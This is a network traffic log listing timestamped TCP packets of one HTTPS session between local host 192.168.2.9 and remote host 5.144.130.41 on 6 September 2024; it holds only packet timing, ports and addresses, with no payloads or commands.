Sep 6, 2024 09:54:18.577229977 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.589262962 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.589284897 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.589396000 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.589410067 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.589456081 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.597533941 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.597552061 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.597676039 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.597683907 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.597728968 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.607215881 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.607239962 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.607367039 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.607393980 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.607436895 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.614211082 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.614228964 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.614343882 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.614362955 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.614408016 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.623644114 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.623658895 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.623759985 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.623781919 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.623821974 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.646245956 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.646264076 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.646385908 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.646414042 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.646456003 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.658807039 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.658828020 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.658950090 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.658986092 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.659029961 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.674400091 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.674427032 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.674529076 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.674556017 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.674597979 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.679102898 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.679126978 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.679227114 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.679244041 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.679280996 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.690874100 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.690903902 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.690994024 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.691016912 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.691061020 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.698271990 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.698291063 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.698338032 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.698345900 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.698385000 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.717871904 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.717895031 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.717946053 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.717957020 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.717968941 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.717998028 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.723310947 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.723326921 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.723378897 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.723387957 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.723423004 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.740025043 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.740046024 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.740138054 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.740160942 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.740323067 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.751744986 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.751765966 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.751863003 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.751878977 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.751929045 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.763741970 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.763762951 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.763837099 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.763845921 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.763885975 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.771101952 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.771128893 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.771264076 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.771271944 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.771310091 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.784594059 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.784614086 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.784663916 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.784673929 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.784723043 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.790800095 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.790819883 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.790869951 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.790899038 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.790945053 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.813805103 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.813829899 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.813891888 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.813899994 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.813940048 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.816375971 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.816395998 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.816469908 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.816469908 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.816492081 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.816529036 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.832350969 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.832369089 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.832412958 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.832425117 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.832463980 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.832473040 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.846349955 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.846370935 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.846436977 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.846455097 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.846472979 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.846497059 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.856251001 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.856271982 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.856321096 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.856337070 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.856368065 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.856380939 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.863547087 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.863567114 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.863607883 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.863621950 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.863646984 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.863662958 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.876852036 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.876869917 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.876923084 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.876935005 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.876955032 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.876972914 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.883558035 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.883577108 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.883630037 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.883641005 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.883678913 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.887645006 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.887665987 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.887780905 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.887804031 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.887859106 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.908154964 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.908178091 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.908237934 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.908252954 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.908293009 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.920984030 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.921004057 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.921209097 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.921216011 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.921262980 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.933343887 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.933372021 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.933429956 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.933449030 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.933484077 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.944432974 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.944451094 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.944504976 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.944521904 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.944566011 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.952991009 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.953007936 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.953049898 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.953063011 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.953098059 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.953116894 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.964766979 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.964783907 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.964838982 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.964848995 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.964884043 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.975377083 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.975394964 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.975445986 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.975462914 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.975497961 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.979329109 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.979347944 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.979392052 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:18.979401112 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:18.979434967 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.001913071 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.001931906 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.001988888 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.002001047 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.002036095 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.013232946 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.013248920 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.013298988 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.013309956 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.013339996 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.013356924 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.025806904 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.025820017 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.025928974 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.025938988 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.025981903 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.036791086 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.036803961 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.036875010 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.036884069 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.036931038 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.045433044 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.045445919 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.045526028 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.045533895 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.045573950 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.057141066 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.057157040 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.057213068 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.057234049 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.057276964 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.067598104 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.067625999 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.067670107 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.067676067 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.067733049 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.071722031 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.071748018 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.071795940 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.071801901 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.071836948 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.096205950 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.096226931 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.096424103 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.096429110 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.096544027 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.105904102 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.105923891 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.106055021 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.106060028 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.106240988 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.118504047 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.118520975 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.118674040 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.118683100 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.118791103 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.129959106 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.129991055 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.130091906 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.130091906 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.130098104 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.130137920 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.137882948 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.137901068 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.137995005 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.138000011 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.138044119 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.149688005 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.149705887 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.149777889 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.149781942 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.149833918 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.160223961 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.160240889 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.160437107 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.160442114 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.160682917 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.164216995 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.164232969 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.164307117 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.164311886 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.164350986 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.188700914 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.188740969 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.188873053 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.188879967 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.189059019 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.198359966 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.198384047 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.198436022 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.198442936 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.198473930 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.210876942 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.210907936 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.210961103 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.210968971 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.211136103 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.222184896 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.222219944 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.222313881 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.222318888 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.222532988 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.230515003 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.230532885 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.230583906 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.230598927 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.230740070 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.242388964 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.242419004 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.242522955 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.242542982 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.242731094 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.252723932 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.252746105 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.252851963 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.252857924 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.252942085 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.256747007 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.256762981 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.256819010 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.256824970 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.256860018 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.281207085 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.281233072 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.281351089 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.281358004 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.281572104 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.290776968 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.290796041 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.290958881 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.290966034 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.291060925 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.303293943 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.303309917 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.303498030 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.303503990 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.303590059 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.314730883 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.314749002 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.314851046 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.314858913 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.315064907 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.323208094 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.323221922 CEST	443	49734	5.144.130.41	192.168.2.9
